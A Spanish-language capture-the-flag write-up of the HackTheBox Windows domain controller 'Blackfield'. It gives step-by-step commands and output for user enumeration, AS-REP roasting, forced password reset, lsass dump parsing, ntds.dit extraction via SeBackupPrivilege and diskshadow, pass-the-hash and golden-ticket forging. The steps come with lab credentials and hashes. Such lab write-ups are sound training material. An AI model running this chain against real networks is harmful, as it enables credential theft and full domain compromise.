# BLACKFIELD
## Reconocimiento
### nmap
~~~
nmap -sS --min-rate 5000 --open -p- -vvv -Pn -n 10.10.10.192 -oG allPorts
~~~

~~~
nmap -sCV -p53,88,135,139,389,445,593,3268,5985,49676 10.10.10.192 -oN targeted
~~~

### smb - Puerto 139,445
#### crackmapexec
~~~
crackmapexec smb 10.10.10.192
~~~

```
domain:BLACKFIELD.local
name:DC01
```
Algo a tener en cuenta es que generalmente los controladores de dominio tiene nombres como `DC01`, `DC02` o similares.
Otra forma de saber con qué Versión de Windows Server se está tratando es ver la versión del release:
[Windows Server Release Version](https://docs.microsoft.com/en-us/windows-server/get-started/windows-server-release-info)

#### smbmap
~~~
smbmap -H 10.10.10.192 -u "cualquiercosa"
smbmap -H 10.10.10.192 -u 'cualquiercosa'
smbmap -H 10.10.10.192 -u "anonymous"
~~~

Si se quiere ver los recursos dentro de `profiles$`:
~~~
smbmap -H 10.10.10.192 -u 'cualquiercosa' -r 'profiles$'
~~~
¿Por qué tarda tanto la busqueda recursiva con smbmap?
¿Otra forma de hacer el smbmap con el usuario anonymous?
#### smbclient
~~~
smbclient \\\\10.10.10.192\\profiles$ -U 'anonymous'
~~~

Se colocan todas las carpetas de usuarios en el archivo user.txt para validarlos a través del servicio de kerberos.
### kerberos - Puerto 88
#### kerbrute
La herramienta `kerbrute` permite la enumeración de usuarios válidos:
~~~
/opt/kerbrute/kerbrute userenum --dc 10.10.10.192 --domain BLACKFIELD.local users.txt
~~~

~~~
2022/04/12 07:57:23 > [+] VALID USERNAME: audit2020@BLACKFIELD.local
2022/04/12 07:57:34 > [+] VALID USERNAME: svc_backup@BLACKFIELD.local
2022/04/12 07:57:34 > [+] support has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$support@BLACKFIELD.LOCAL:943760a7821da17ba3adad261dfd6f81$75030157ce452c2a4346584838441912230148dd3974fa77990d11bb4cf76dd805ad91353d8e2916b80dd1bc8f7989291cab8db935473bc425b3fd3dcde813bc7b07d947a0453900adc5b46e0560ef7eacfad892e31c620f41604b12696b57c2826ef1575ff8ef802ba3dfc82235043106a5728df815f09db3c8c87383cdcd981260150f9ba7e4dba8fe9fafb1f316372f626dabc464732e763f4b6e5985aeb3376760bf224f6bf026dc8ff1ac337e6960ca2bc2f773fe000c8230edc078c58e492240214340bce6da73f23e7849ff38f49afbfcfb7caec810a28bd7833d29f07bd7add9362178b446c070c2924be8e33aa95cd7323ff1e3ee845ab2e1e98f59c7c06d1acaa77681
2022/04/12 07:57:34 > [+] VALID USERNAME: support@BLACKFIELD.local
~~~
~~~
echo "10.10.10.192 blackfield.local DC01" >> /etc/hosts
~~~

#### GetNPUsers
Se solicita el TGT para el usuario `support`:
~~~
python3 /opt/impacket/examples/GetNPUsers.py blackfield.local/ -no-pass -usersfile usersValidos
~~~

~~~
john --wordlist=/usr/share/wordlists/rockyou.txt hashSVC_BACKUP2
~~~

Credenciales:
`support:#00^BlackKnight`
Obs:
Cuando el hash entregado por `Kerbrute` no se logra crackear, usar el hash entregado por `GetNPUser.py`.
#### GetUserSPNs
Se solicita algún TGS con las credenciales del usuario `svc_backup`:
~~~
python3 /opt/impacket/examples/GetUserSPNs.py -request 'blackfield.local/support:#00^BlackKnight'
~~~

Pero ningún usuario es `kerberoasteable`.
## Acceso
### support
~~~
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
~~~

#### ldapdomaindump
El puerto ldap está abierto entonces se puede usar la herramienta `ldapdomaindump`:
~~~
rm -rf /var/www/html/*
service apache2 start
ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
~~~



#### Bloodhound
Haciendo uso de bloodhound para obtener un reconocimiento del sistema de forma remota:
~~~
python3 /opt/BloodHound.py/bloodhound.py -c All -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local
~~~

Dentro de bloodhound se pueden visualizar las redes que muestran las relaciones entre los usuarios, en este caso se visualiza la información del usuario `support` como un nodo:

#### Abusando DACL/ACE - ForceChangePassword
El usuario `support` tiene la capacidad de cambiar la contraseña del usuario `audit2020`.

Obs: DACL/ACE definen quién puede leer/modificar a los objetos asegurables(usuarios y grupos); es decir, cambiar el nombre de la cuenta, restablecer la contraseña, etc.
#### rpcclient - Puerto 135
~~~
rpcclient -U "" 10.10.10.192
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
~~~
**Cambio de contraseña**
* 1era forma
```
rpcclient -U "support%#00^BlackKnight" 10.10.10.192
setuserinfo2 support 23 '#00^BlackKnight'
```
* 2da forma
~~~
net rpc password audit2020 -U 'support' -s 10.10.10.192
~~~
### audit2020
#### smbmap
```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1'
```

```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' -R 'forensic/'
```

Se descarga el archivo `lsass.zip`:
```
smbmap -H 10.10.10.192 -u 'audit2020' -p 'Passw0rd1' --download forensic/memory_analysis/lsass.zip
```

Dentro del comprimido `lsass.zip` se encontrará un volcado o dump del proceso `lsass.exe` llamado `lsass.DMP`, y se pueden usar herramientas como `mimikatz` o `pypykatz` para leer la información de dicho volcado.
El procesos `lsass.exe` permite:
* Reforzamiento de las políticas de seguridad
* Verificación de autentificación del usuario en un ordenador o servidor Windows
* Manejo de los cambios de contraseñas
* Creación de fichas de acceso
#### pypykatz
Pypykatz es una implementación de Mimikatz en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.
```
pypykatz lsa minidump lsass.DMP
```

```
Username: svc_backup
NT: 9658d1d1dcd9250115e2205d9f48400d
```
### svc_backup
#### crackmapexec
```
crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```

```
crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```

#### evil-winrm

El comando `systeminfo` no logra ser ejecutado, una variante de ello es usar `Registry`.
~~~
reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
~~~

¿Cómo encontrar la versión de Windows usando Registry?
[Versión de Windows usando Registry](https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/)
Se puede ver que la versión `Windows Server 2019` es la misma que se obtuvo en un inicio.
NOTA - OBS: VER SI SE PUEDE USAR EL REG.PY Y OBTENEMOS ALGO
Ahora intentando visualizar la flag `root.txt` se ve que no se tiene suficientes permisos para visualizarlo.

## Obteniendo Privilegios
### Abusing Tokens
#### SeBackupPrivilege
Al ejecutar el comando `whoami /priv` se ve que el privilegio `SeBackupPrivilege` está habilitado.

Este privilegio hace que el sistema otorgue todo el control de acceso de lectura a cualquier archivo (solo lectura).
Se realiza una copia del `system` y `sam`:
```
reg save HKLM\system system
reg save HKLM\sam sam
```

#### secretsdump
Desde el equipo local se hace uso de `secretsdump` con las copias de archivos `system` y `sam`, con ello dumpeamos los hashes existentes en la máquina local pero no los usuarios del dominio.
```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -sam 'C:\Temp\sam' LOCAL
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```
Y con ello obtenemos el hash del usuario Administrador de la máquina local.
Dumpeando el `ntds.dit` se pueden obtener los hashes de los usuarios pertenecientes al DC.
Visualizando el archivo `ntds.dit`:
~~~
dir C:\Windows\NTDS
~~~
#### Dumpeando ntds.dit - DiskShadow
[SeBackupPrivilege - pentestlab](https://pentestlab.blog/tag/diskshadow/)
Se crea el archivo `test.txt` el cual permite que la unidad lógica sea una unidad a la cual se pueda acceder a todos los recursos del sistema.

Subimos este archivo a la máquina víctima en la ruta `c:\Temp`
Ejecutamos el comando `diskshadow.exe /s c:\Temp\test.txt` en la máquina víctima
Ya se ha creado la copia:
```
dir z:\
dir z:\Windows\NTDS
robocopy /b z:\Windows\NTDS\ . ntds.dit
dir
```

Y ahora solo llevamos el ntds.dit a nuestro sistema.
#### secretsdump
```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' LOCAL
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:3774928fe55833e6c62abdc233f47a7b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
```
### PassTheHash
~~~
crackmapexec smb 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
~~~

~~~
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
~~~

## Adicional
### Golden Ticket
```
python3 /opt/impacket/examples/lookupsid.py blackfield.local/Administrator@10.10.10.192 -hashes ':184fb5e5178480be64824d4cd53b99ee'
```

`Domain SID is: S-1-5-21-4194615774-2175524697-3563712290`
```
python3 /opt/impacket/examples/secretsdump.py -system 'C:\Temp\system' -ntds 'C:\Temp\ntds.dit' -outputfile krb -user-status LOCAL
```

`krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::`
```
python3 /opt/impacket/examples/ticketer.py -nthash d3c02561bba6ee4ad6cfd024ec8fda5d -domain-sid S-1-5-21-4194615774-2175524697-3563712290 -domain blackfield.local cr4y0
```

```
export KRB5CCNAME=/home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache
```
```
python3 /opt/impacket/examples/ticketConverter.py /home/cr4y0/Desktop/HackTheBox/BLACKFIELD/cr4y0.ccache ticket.kirbi
```

```
python3 /opt/impacket/examples/psexec.py -dc-ip 10.10.10.192 -target-ip 10.10.10.192 -no-pass -k blackfield.local/Administrator@DC01.blackfield.local
```


```
rdate -n 10.10.10.192
```
